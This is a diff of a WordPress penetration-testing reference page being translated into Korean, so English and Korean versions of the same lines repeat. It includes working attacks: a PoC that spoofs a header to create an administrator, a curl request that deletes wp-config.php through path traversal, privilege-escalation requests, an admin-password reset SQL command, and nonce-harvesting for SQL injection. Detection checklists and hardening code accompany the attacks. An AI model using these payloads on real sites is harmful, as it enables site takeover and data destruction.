The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
이 내용은 플러그인 설치 및 활성화 단계를 보여주는 시각적 자료를 포함합니다. 그러나 적절한 허가 없이 이러한 방식으로 취약점을 exploit하는 것은 불법이며 비윤리적임을 명심해야 합니다. 이 정보는 책임감 있게, 예컨대 명시적 허가를 받은 penetration testing 같은 합법적인 상황에서만 사용해야 합니다.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## XSS에서 RCE로
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Creates an user in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 는 WordPress에서 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 기타 심각한 취약점으로 상승시키도록 설계된 스크립트입니다. 자세한 내용은 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)를 확인하세요. 다음을 지원합니다:
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 지정 플러그인(backdoor)을 WordPress에 업로드합니다.
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 수정합니다.
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 수정합니다.
- _**(Custom) Custom Exploits:**_ 타사 WordPress 플러그인/테마를 위한 Custom Exploits.
## Post Exploitation
@ -331,29 +330,29 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Wordpress 플러그인 Pentest
### 공격 표면
### Attack Surface
Wordpress 플러그인이 기능을 어떻게 외부에 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 노출할 수 있는 방법은 다음 항목들에서 확인할 수 있으며, 취약한 플러그인 예시는 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에 있습니다.
Wordpress 플러그인이 어떻게 기능을 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 중요합니다. 다음 항목들에서 플러그인이 기능을 어떻게 노출할 수 있는지와 취약한 플러그인 사례들을 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에서 확인할 수 있습니다.
- **`wp_ajax`**
플러그인이 사용자에게 기능을 노출하는 방법 중 하나는 AJAX handlers를 통해서입니다. 이들은 로직, authorization 또는 authentication 버그를 포함할 수 있습니다. 게다가 이러한 함수들이 authentication과 authorization을 Wordpress nonce의 존재에 기반하는 경우가 꽤 자주 있으며, 그 nonce는 **Wordpress 인스턴스에 인증된 모든 사용자(역할과 무관하게)**가 가질 수 있습니다.
플러그인이 기능을 노출하는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러들은 로직, authorization, 또는 authentication 버그를 포함할 수 있습니다. 게다가 이러한 함수들은 인증과 권한 부여를 모두 Wordpress nonce의 존재에 기반하는 경우가 꽤 자주 있으며, 이 nonce는 **Wordpress 인스턴스에 인증된 어떤 사용자라도 가질 수 있습니다**(역할과 무관하게).
These are the functions that can be used to expose a function in a plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv`의 사용은 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근 가능하게 만듭니다.**
**`nopriv`의 사용은 해당 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.**
> [!CAUTION]
> 게다가, 만약 함수가 단지 `wp_verify_nonce` 함수를 사용해 사용자의 권한을 확인하는 것이라면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
> 게다가, 만약 함수가 사용자 권한을 `wp_verify_nonce` 함수로만 확인한다면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 높은 권한이 필요한 동작에 접근할 수 있습니다.
- **REST API**
또한 `register_rest_route` 함수를 사용해 wordpress에서 rest AP를 등록하여 함수를 노출할 수도 있습니다:
또한 wordpress에서 `register_rest_route` 함수를 사용해 rest AP를 등록하여 함수를 노출시키는 것도 가능합니다:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +362,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
The `permission_callback`은 특정 사용자가 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
**내장 `__return_true` 함수가 사용되면 사용자 권한 검사를 단순히 건너뜁니다.**
- **php 파일에 대한 직접 접근**
물론, Wordpress는 PHP를 사용하고 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 트리거되는 취약한 기능을 노출하고 있다면, 어떤 사용자라도 이를 악용할 수 있습니다.
물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일들은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면, 어떤 사용자라도 이를 악용할 수 있습니다.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
일부 플러그인은 내부 통합이나 리버스 프록시를 위해 "trusted header" 단축을 구현한 다음, 그 헤더를 사용해 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 해당 헤더가 상위 컴포넌트에 의해 암호학적으로 요청에 바인딩되어 있지 않다면, 공격자는 이를 스푸핑하여 관리자 권한이 필요한 REST 경로를 호출할 수 있습니다.
일부 플러그인은 내부 통합이나 reverse proxies를 위해 “trusted header” 단축을 구현한 뒤, 해당 헤더로 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 만약 그 헤더가 upstream component에 의해 요청에 대해 암호학적으로 바인딩되어 있지 않다면, 공격자는 이를 spoof하여 관리자 권한이 필요한 REST routes를 호출할 수 있습니다.
- 영향: core users REST route를 통해 새 관리자 계정을 생성하여 인증 없이 관리자 권한으로 권한 상승.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (사용자 ID 1을 강제로 설정 — 일반적으로 첫 번째 관리자 계정).
- Exploited route: `POST /wp-json/wp/v2/users`에 상승된 역할 배열을 포함하여 호출.
- 영향: core users REST route를 통해 새로운 administrator를 생성하여 unauthenticated privilege escalation으로 admin 권한을 획득할 수 있습니다.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1을 강제로 설정 — 일반적으로 첫 번째 administrator 계정).
- Exploited route: `POST /wp-json/wp/v2/users` 에서 elevated role 배열을 사용.
PoC
```http
@ -391,40 +390,40 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
왜 작동하는가
Why it works
- 플러그인이 클라이언트 제어 헤더를 인증 상태로 매핑하고 권한 검사를 건너뛴다.
- WordPress core는 이 경로에 대해 `create_users` capability를 기대한다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정하여 이를 우회한다.
- 이 플러그인은 클라이언트가 제어하는 헤더를 인증 상태에 매핑하고 capability checks를 생략한다.
- WordPress core는 이 라우트에 `create_users` capability를 기대한다; 플러그인 해킹은 헤더에서 현재 사용자 컨텍스트를 직접 설정하여 이를 우회한다.
예상 성공 지표
Expected success indicators
- 생성된 사용자를 설명하는 JSON 본문과 함께 HTTP 201.
- `wp-admin/users.php`에서 확인 가능한 새로운 관리자 사용자.
- HTTP 201 with a JSON body describing the created user.
- A new admin user visible in `wp-admin/users.php`.
탐지 체크리스트
Detection checklist
- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 사용자 지정 헤더를 읽어 사용자 컨텍스트를 설정하는 vendor SDK(예: `wp_set_current_user()`, `wp_set_auth_cookie()`)를 grep 하라.
- 요청 헤더에 의존하고 강력한 `permission_callback` 체크가 없는 특권 콜백에 대해 REST 등록을 검토하라.
- REST 핸들러 내에서 헤더 값으로만 게이팅된 상태로 사용되는 코어 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)의 사용을 찾아라.
- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 vendor SDK들이 사용자 컨텍스트를 설정하기 위해 커스텀 헤더를 읽는지 grep 하라(예: `wp_set_current_user()`, `wp_set_auth_cookie()`).
- 요청 헤더에 의존하고 강력한 `permission_callback` 검사가 없는 권한 있는 콜백에 대한 REST 등록을 검토하라.
- REST 핸들러 내에서 header 값만으로 게이트된 상태로 코어 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)가 사용되는지 찾으라.
보안 강화
Hardening
- 클라이언트 제어 헤더에서 인증이나 권한을 절대 유도하지 마라.
- 리버스 프록시가 신원을 주입해야 한다면, 프록시에서 신뢰를 종료하고 수신 헤더 사본을 제거(예: 에지에서 `unset X-Wcpay-Platform-Checkout-User`)한 다음 서명된 토큰을 전달하고 서버 측에서 검증하라.
- 특권 동작을 수행하는 REST 경로에는 `current_user_can()` 체크와 엄격한 `permission_callback`을 요구하라(절대 `__return_true`를 사용하지 마라).
- 헤더 “impersonation” 대신 쿠키, application passwords, OAuth 같은 1차 인증을 선호하라.
- 클라이언트가 제어하는 헤더에서 인증이나 권한을 유추하지 마라.
- 리버스 프록시가 반드시 identity를 주입해야 한다면 프록시에서 신뢰를 종료하고 수신된 복사본을 제거하라(예: 에지에서 `unset X-Wcpay-Platform-Checkout-User`), 그 후 서명된 토큰을 전달하고 서버 측에서 검증하라.
- 권한이 필요한 작업을 수행하는 REST 경로에는 `current_user_can()` 검사와 엄격한 `permission_callback`을 요구하라(절대 `__return_true`를 사용하지 마라).
- 헤더 “impersonation”보다 퍼스트파티 인증(cookies, application passwords, OAuth)을 선호하라.
참고: 공개 사례와 더 넓은 분석은 이 페이지 끝의 링크를 참조하라.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
### wp_ajax_nopriv를 통한 인증되지 않은 임의 파일 삭제 (Litho Theme <= 3.0)
WordPress 테마와 플러그인은 종종 `wp_ajax_``wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용되면 **콜백이 인증되지 않은 방문자도 접근 가능하게 되므로**, 민감한 동작은 추가로 다음을 구현해야 한다:
WordPress 테마와 플러그인은 종종 `wp_ajax_``wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용될 경우 **콜백이 인증되지 않은 방문자에게 접근 가능해지므로**, 민감한 동작은 추가로 다음을 구현해야 한다:
1. **권한 검사** (예: `current_user_can()` 또는 최소 `is_user_logged_in()`), 그리고
2. `check_ajax_referer()` / `wp_verify_nonce()`로 검증된 **CSRF nonce**, 그리고
3. **엄격한 입력 정제 / 검증**.
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
Litho multipurpose theme (< 3.1) *Remove Font Family* 기능에서 가지 제어를 놓쳐 다음과 같은 코드(단순화된) 배포하게 되었다:
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -443,31 +442,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
이 스니펫이 야기하는 문제점:
이 스니펫으로 인해 발생한 문제:
* **인증되지 않은 접근** `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
* **nonce / capability 확인 없음** 어떤 방문자도 해당 엔드포인트를 호출할 수 있습니다.
* **경로 정제 없음** 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일시스템 경로에 이어붙여져 전형적인 `../../` 트래버설을 허용합니다.
* **Unauthenticated access** the `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
* **No nonce / capability check** 어떤 방문자든 엔드포인트를 호출할 수 있습니다.
* **No path sanitisation** 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일시스템 경로에 이어붙여져 고전적인 `../../` 경로 탈취가 가능합니다.
#### 악용
공격자는 단일 HTTP POST 요청을 전송하여 **uploads 기본 디렉터리 아래** (보통 `<wp-root>/wp-content/uploads/`)의 모든 파일이나 디렉터리를 삭제할 수 있습니다:
공격자는 단일 HTTP POST 요청을 보내어 **uploads 기본 디렉터리 아래** (일반적으로 `<wp-root>/wp-content/uploads/`)의 임의의 파일이나 디렉터리를 삭제할 수 있습니다:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
`wp-config.php`*uploads* 밖에 위치하기 때문에, 기본 설치에서는 `../` 네 번이면 충분합니다. `wp-config.php`를 삭제하면 다음 방문 시 WordPress가 *installation wizard*로 들어가며 전체 사이트 탈취가 가능해집니다(공격자는 새 DB 구성만 제공하고 관리자 사용자 계정을 생성하면 됩니다).
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
다른 영향력 있는 대상으로는 플러그인/테마의 `.php` 파일들(보안 플러그인을 무력화하기 위해)이나 `.htaccess` 규칙이 있습니다.
#### 탐지 체크리스트
* 파일시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
* 정제되지 않은 사용자 입력을 경로에 연결하는 경우( `$_POST`, `$_GET`, `$_REQUEST`를 확인).
* `check_ajax_referer()``current_user_can()`/`is_user_logged_in()` 호출의 부재.
* 파일시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 `add_action( 'wp_ajax_nopriv_...')` 콜백.
* 경로로의 비검증 사용자 입력 결합( `$_POST`, `$_GET`, `$_REQUEST` 를 확인).
* `check_ajax_referer()``current_user_can()`/`is_user_logged_in()`의 부재.
#### 하드닝
#### 보안 강화
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -487,16 +486,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Always** 디스크에 대한 모든 쓰기/삭제 작업은 권한이 필요한 것으로 취급하고 다음을 재확인하세요:
> **항상** 디스크에 대한 모든 쓰기/삭제 작업을 권한이 필요한 것으로 처리하고 다음을 반드시 재확인하세요:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
### 오래된 역할 복원 및 권한 검증 누락을 통한 권한 상승 (ASE "View Admin as Role")
많은 플러그인은 원래 역할을 user meta에 저장해 나중에 복원할 수 있도록 "view as role" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 파라미터(예: `$_REQUEST['reset-for']`)와 플러그인이 관리하는 목록에만 의존하고 capabilities 확인이나 유효한 nonce 검증을 하지 않으면, 이는 vertical privilege escalation이 됩니다.
많은 플러그인은 원래 역할을 user meta에 저장해 나중에 복원할 수 있도록 "view as role" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 파라미터(예: `$_REQUEST['reset-for']`)와 플러그인이 관리하는 목록에만 의존하고 권한 확인이나 유효한 nonce 검증을 수행하지 않으면, 이는 수직적 권한 상승이 됩니다.
실제 사례는 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견되었습니다. reset 분기는 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자 이름이 있을 경우 `reset-for=<username>`에 따라 역할을 복원했지만, 현재 역할을 제거하고 user meta `_asenha_view_admin_as_original_roles`에 저장된 역할을 다시 추가하기 전에 `current_user_can()` 체크나 nonce 검증을 수행하지 않았습니다:
실제 사례는 Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1)에서 발견되었습니다. reset 분기는 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자명이 존재하면 `reset-for=<username>`에 기반해 역할을 복원했지만, 현재 역할을 제거하고 user meta `_asenha_view_admin_as_original_roles`에 저장된 역할을 다시 추가하기 전에 `current_user_can()` 검사나 nonce 검증을 전혀 수행하지 않았습니다:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,19 +510,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
왜 취약한가
취약한 이유
- 서버 측 권한 확인 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰함.
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 높은 권한이 저장되어 있었고 권한이 강등된 경우, reset 경로를 호출해 해당 권한을 복원할 수 있음.
- 일부 배포 환경에서는 인증된 어떤 사용자든 `viewing_admin_as_role_are`에 여전히 남아있는 다른 사용자명에 대해 reset을 트리거할 수 있음(권한 검증 누락).
- 서버 측 권한 검증 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰함.
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 높은 권한을 저장해두었다가 권한이 낮아진 경우, 재설정 경로를 호출해 이를 복원할 수 있음.
- 일부 배포 환경에서는, 어떤 인증된 사용자라도 여전히 `viewing_admin_as_role_are`에 남아 있는 다른 사용자 이름에 대해 재설정을 트리거할 수 있음(권한 검증 취약).
Attack prerequisites
공격 전제 조건
- 해당 기능이 활성화된 취약한 플러그인 버전.
- 대상 계정의 user meta에 이전에 저장된 오래된 고권한 역할이 있음.
- 인증된 아무 세션; reset 흐름에 nonce/capability가 누락됨.
- 기능이 활성화된 취약한 플러그인 버전.
- 대상 계정이 이전 사용으로 인해 user meta에 저장된 오래된 고권한 역할을 보유.
- 인증된 세션만 있으면 됨; 재설정 흐름에서 nonce/capability가 없음.
Exploitation (example)
악용 (예시)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -531,36 +530,36 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 실질적으로 권한을 상승시킵니다.
취약한 빌드에서는 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 실질적으로 권한을 상승시킵니다.
Detection checklist
- 사용자 메타에 “original roles”를 저장하는 역할 전환 기능을 찾아보세요 (예: `_asenha_view_admin_as_original_roles`).
- 다음과 같은 reset/restore 경로를 식별하세요:
- 사용자 이름을 `$_REQUEST` / `$_GET` / `$_POST`에서 읽는 경우.
- `add_role()` / `remove_role()`로 역할을 수정하면서 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()`를 사용하지 않는 경우.
- 행위자의 권한 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여하는 경우.
- 사용자 메타에 "원래 역할"을 지속적으로 저장하는 역할 전환 기능을 찾아보세요 (예: `_asenha_view_admin_as_original_roles`).
- Identify reset/restore paths that:
- `$_REQUEST` / `$_GET` / `$_POST`에서 사용자 이름을 읽는지 확인하세요.
- `add_role()` / `remove_role()`로 역할을 수정하면서 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()`를 사용하지 않는지 확인하세요.
- 행위자의 권한 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여하는지 확인하세요.
Hardening
- 모든 상태 변경 분기마다 권한 체크를 적용하세요 (예: `current_user_can('manage_options')` 또는 더 엄격한 조건).
- 모든 역할/권한 변경에 대해 nonces를 요구하고 검증하세요: `check_admin_referer()` / `wp_verify_nonce()`.
- 요청으로 전달된 사용자 이름을 절대 신뢰하지 마세요; 인증된 행위자와 명확한 정책에 기반해 서버 측에서 대상 사용자를 결정하세요.
- 프로필/역할 업데이트 시 “original roles” 상태를 무효화하여 오래된 높은 권한 복원이 발생하지 않도록 하세요:
- 상태를 변경하는 모든 분기에서 권한 검사를 적용하세요(예: `current_user_can('manage_options')` 또는 더 엄격한 검사를 사용).
- 모든 역할/권한 변경 시 nonce를 요구하고 검증하세요: `check_admin_referer()` / `wp_verify_nonce()`.
- 요청으로 제공된 사용자 이름을 절대 신뢰하지 마세요; 인증된 행위자와 명시적 정책에 따라 서버 측에서 대상 사용자를 결정하세요.
- 프로필/역할 업데이트 시 "원래 역할" 상태를 무효화하여 오래된 고권한 복원이 발생하지 않도록 하세요:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- 임시 역할 전환을 위해 상태를 최소화하여 저장하고, 시간 제한이 있는 capability-guarded tokens를 사용하는 것을 고려하세요.
- 최소한의 상태만 저장하고 임시 역할 전환을 위해 시간 제한이 있고 capability로 보호된 토큰을 사용하는 것을 고려하세요.
---
### 인증되지 않은 권한 상승 via cookietrusted user switching on public `init` (Service Finder “sf-booking”)
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
일부 플러그인은 user-switching 헬퍼를 public `init` 훅에 연결하고, 클라이언트가 제어하는 cookie로부터 아이덴티티를 유도합니다. 코드가 인증, capability, 유효한 nonce를 검증하지 않고 `wp_set_auth_cookie()`를 호출하면, 인증되지 않은 방문자도 임의의 사용자 ID로 강제 로그인할 수 있습니다.
일부 플러그인은 user-switching 헬퍼를 공개 `init` 훅에 연결하고 클라이언트가 제어하는 cookie에서 식별을 유도합니다. `wp_set_auth_cookie()`를 인증, capability 및 유효한 nonce를 확인하지 않고 호출하면, 인증되지 않은 방문자가 임의의 사용자 ID로 강제 로그인할 수 있습니다.
전형적인 취약 패턴 (단순화한 Service Finder Bookings ≤ 6.1):
전형적인 취약 패턴(간소화, Service Finder Bookings ≤ 6.1에서 발췌):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -589,13 +588,13 @@ wp_die('Original user not found.');
wp_die('No original user found to switch back to.');
}
```
Why its exploitable
왜 취약한가
- 공개된 `init` 훅으로 인해 핸들러가 unauthenticated 사용자에게 접근 가능함 (`is_user_logged_in()` 가드 없음).
- Identity는 클라이언트가 수정 가능한 쿠키(`original_user_id`)에서 유래함.
- `wp_set_auth_cookie($uid)`를 직접 호출하면 요청자를 해당 사용자로 로그인시킴 — 어떤 capability/nonce 검사 없이.
- 공개된 `init` 후크는 핸들러가 인증되지 않은 사용자도 접근할 수 있게 만든다 (`is_user_logged_in()` 가드가 없음).
- 식별 정보는 클라이언트에서 수정 가능한 쿠키(`original_user_id`)로부터 파생된다.
- `wp_set_auth_cookie($uid)`를 직접 호출하면 capability/nonce 검사 없이 요청자를 해당 사용자로 로그인시킨다.
Exploitation (unauthenticated)
악용(인증되지 않음)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -605,26 +604,26 @@ Connection: close
```
---
### WordPress/플러그인 CVE에 대한 WAF 고려사항
### WordPress/plugin CVEs에 대한 WAF 고려사항
일반적인 edge/server WAF는 광범위한 패턴(SQLi, XSS, LFI)에 맞춰 조정되어 있습니다. 많은 고위험 WordPress/플러그인 결함은 애플리케이션 특화 로직/인증 버그로, 엔진이 WordPress 경로와 플러그인 의미론을 이해하지 못하면 정상 트래픽처럼 보입니다.
일반적인 edge/server WAF는 광범위한 패턴(SQLi, XSS, LFI)에 맞춰 튜닝되어 있습니다. 많은 고영향 WordPress/plugin 결함은 애플리케이션 특유의 로직/인증 버그로, 엔진이 WordPress 경로와 plugin semantics를 이해하지 못하면 정상 트래픽처럼 보입니다.
Offensive notes
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- 클린 페이로드로 plugin 전용 엔드포인트를 공략하세요: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- 먼저 인증 없는 경로를 시도하세요 (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). 기본 페이로드는 종종 난독화 없이도 성공합니다.
- 전형적인 고영향 사례: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
- 플러그인 CVEs를 보호하기 위해 일반적인 WAF 시그니처에만 의존하지 마세요. 애플리케이션 레이어 수준의 취약점별 가상 패치나 빠른 업데이트를 적용하세요.
- negative regex 필터보다 코드 내에서 positive-security 검사(예: capabilities, nonces, 엄격한 입력 검증)를 우선 적용하세요.
## WordPress 보호
## WordPress Protection
### 정기 업데이트
### Regular Updates
WordPress, plugins, 그리고 themes가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -640,16 +639,16 @@ add_filter( 'auto_update_theme', '__return_true' );
### **기타 권장사항**
- 기본 **admin** 사용자 제거
- 강력한 **비밀번호**와 **2FA** 사용
- 기적으로 사용자 **권한**을 **검토**
- **로그인 시도 제한**으로 Brute Force 공격 방지
- **`wp-admin.php`** 파일 이름을 변경하고 내부에서나 특정 IP 주소에서만 접근을 허용하세요.
- 기본 **admin** 계정 제거
- **강력한 비밀번호****2FA** 사용
- 기적으로 사용자 **권한**을 **검토**
- **로그인 시도 제한**을 설정해 Brute Force attacks 방지
- **`wp-admin.php`** 파일 이름을 변경하고 내부 또는 특정 IP에서만 접근 허용하세요.
### 검증 부족으로 인한 Unauthenticated SQL Injection (WP Job Portal <= 2.3.2)
### 인증되지 않은 SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal 채용 플러그인은 **savecategory** 작업을 노출했으며, 최종적으로 `modules/category/model.php::validateFormData()` 내부에서 다음 취약한 코드를 실행합니다:
WP Job Portal 채용 플러그인은 **savecategory** 작업을 노출했으며, 이는 결국 `modules/category/model.php::validateFormData()` 내부에서 다음 취약한 코드를 실행합니다:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -659,19 +658,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
이 스니펫으로 인해 발생하는 문제:
이 스니펫으로 인해 발생 문제:
1. **Unsanitised user input** `parentid`가 HTTP 요청에서 그대로 전달됩니다.
2. **String concatenation inside the WHERE clause** `is_numeric()` / `esc_sql()` / prepared statement가 사용되지 않았습니다.
3. **Unauthenticated reachability** 해당 action은 `admin-post.php`를 통해 실행되지만, 유일한 검증은 **CSRF nonce** (`wp_verify_nonce()`)뿐이며, 이 nonce는 `[wpjobportal_my_resumes]` 숏코드를 포함한 공개 페이지에서 누구나 가져올 수 있습니다.
1. **검증되지 않은 사용자 입력** `parentid`가 HTTP 요청에서 바로 전달됩니다.
2. **WHERE 절 내 문자열 연결** `is_numeric()` / `esc_sql()` / prepared statement 없음.
3. **인증 없이 접근 가능** action이 `admin-post.php`를 통해 실행되긴 하지만, 존재하는 유일한 체크는 모든 방문자가 공개 페이지에서 숏코드 `[wpjobportal_my_resumes]`를 통해 가져올 수 있는 **CSRF nonce**(`wp_verify_nonce()`)뿐입니다.
#### 악용
1. 새로운 nonce 획득:
1. 새로운 nonce를 가져옵니다:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. `parentid`를 악용해 임의의 SQL을 주입:
